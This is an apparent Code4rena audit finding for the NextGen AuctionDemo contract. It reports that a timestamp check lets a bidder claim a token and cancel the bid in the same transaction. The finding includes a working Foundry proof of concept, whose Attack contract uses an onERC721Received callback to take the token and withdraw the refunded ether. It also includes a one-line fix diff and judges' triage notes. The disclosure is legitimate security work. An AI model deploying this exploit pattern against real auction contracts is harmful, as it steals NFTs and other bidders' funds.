A token can be stolen from the auction due to an incorrect condition in the end-time validation

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

A bid can be canceled until the block timestamp is less than or equal to the auction end time.

function cancelBid(uint256 _tokenid, uint256 index) public {
    require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
    ...
}

The winner may claim the token when the block timestamp becomes greater than or equal to the auction end time.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    ...
}

Since the timestamp value is generated by a miner and can be adjusted within a 15-minute range, an attacker could potentially craft a transaction with a timestamp precisely matching the auction end time.

As a result, an attacker has the ability to both claim a token and cancel the bid in a single transaction. In this scenario, some of the other participants may not receive a refund, as there would not be sufficient funds in the contract balance.

In order to reclaim their funds before the auction owner transfers the bid value, the attacker can utilize the onERC721Received callback function.

Proof of Concept

To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:

mkdir foundry && cd foundry
forge init --no-commit
cp ../smart-contracts/* src

Next, add the POC.t.sol file to the test folder.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {NextGenAdmins} from "../src/NextGenAdmins.sol";
import {randomPool} from "../src/XRandoms.sol";
import {NextGenCore} from "../src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol";
import {DelegationManagementContract} from "../src/NFTdelegation.sol";
import {NextGenMinterContract} from "../src/MinterContract.sol";
import {auctionDemo} from "../src/AuctionDemo.sol";
import {IERC721} from "../src/IERC721.sol";
import {IERC721Receiver} from "../src/IERC721Receiver.sol";

contract POC is Test {
    address immutable admin = makeAddr("admin");
    address immutable attacker = makeAddr("attacker");
    
    uint256 constant MAX_COLLECTION_PURCHASES = 1;
    uint256 constant COLLECTION_TOTAL_SUPPLY = 1000;
    uint256 constant MINT_COST = 0.1 ether;
    uint256 constant BID = 0.1 ether;

    NextGenAdmins admins;
    randomPool randoms;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    DelegationManagementContract delegate;
    NextGenMinterContract minter;
    auctionDemo auction;

    uint256 collectionId;

    function setUp() external {
        vm.startPrank(admin);

        // Deployment
        admins = new NextGenAdmins();
        randoms = new randomPool();
        core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins));
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core));
        delegate = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(delegate), address(admins));
        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Create a collection
        collectionId = core.newCollectionIndex();
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        core.createCollection(
            "Test Collection 1", "Artist 1", "For testing",
            "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "",
            collectionScript
        );

        core.setCollectionData(
            collectionId, makeAddr("artist"),
            MAX_COLLECTION_PURCHASES,
            COLLECTION_TOTAL_SUPPLY,
            0
        );

        core.addRandomizer(collectionId, address(randomizer));
        core.addMinterContract(address(minter));

        minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 1, 0, address(0));
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp,          // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            ""                     
        );

        vm.stopPrank();
    }

    function testClaimAndCancelBid() external {
        vm.startPrank(admin);

        uint256 auctionEndTime = block.timestamp + 1 days;
        minter.mintAndAuction(admin, "", 0, collectionId, auctionEndTime);
        uint256 tokenId = core.tokenOfOwnerByIndex(admin, 0);
        core.approve(address(auction), tokenId);
        vm.stopPrank();

        vm.deal(attacker, BID);
        vm.startPrank(attacker);

        Attack attack = new Attack(auction);
        attack.participateToAuction{value: BID}(tokenId);

        vm.warp(auctionEndTime);
        attack.claimAndCancelBid(tokenId);

        vm.stopPrank();

        assertEq(core.ownerOf(tokenId), attacker);
        assertEq(attacker.balance, BID);
    }
}

contract Attack {
    auctionDemo auction;

    address owner;

    constructor(auctionDemo _auction) {
        auction = _auction;
        owner = msg.sender;
    }

    function participateToAuction(uint256 tokenId) external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claimAndCancelBid(uint256 tokenId) external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address, address,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        IERC721(msg.sender).transferFrom(address(this), owner, tokenId);
        auction.cancelAllBids(tokenId);
        (bool success,) = payable(owner).call{value: address(this).balance}("");
        require(success);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Run test using:

forge test

Tools Used

Manual review

Recommended Mitigation Steps

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..659f5cd 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -102,7 +102,7 @@ contract auctionDemo is Ownable {
     // claim Token After Auction

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);

Assessed type

Invalid Validation

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1788

[c4-judge]

alex-ppg marked the issue as satisfactory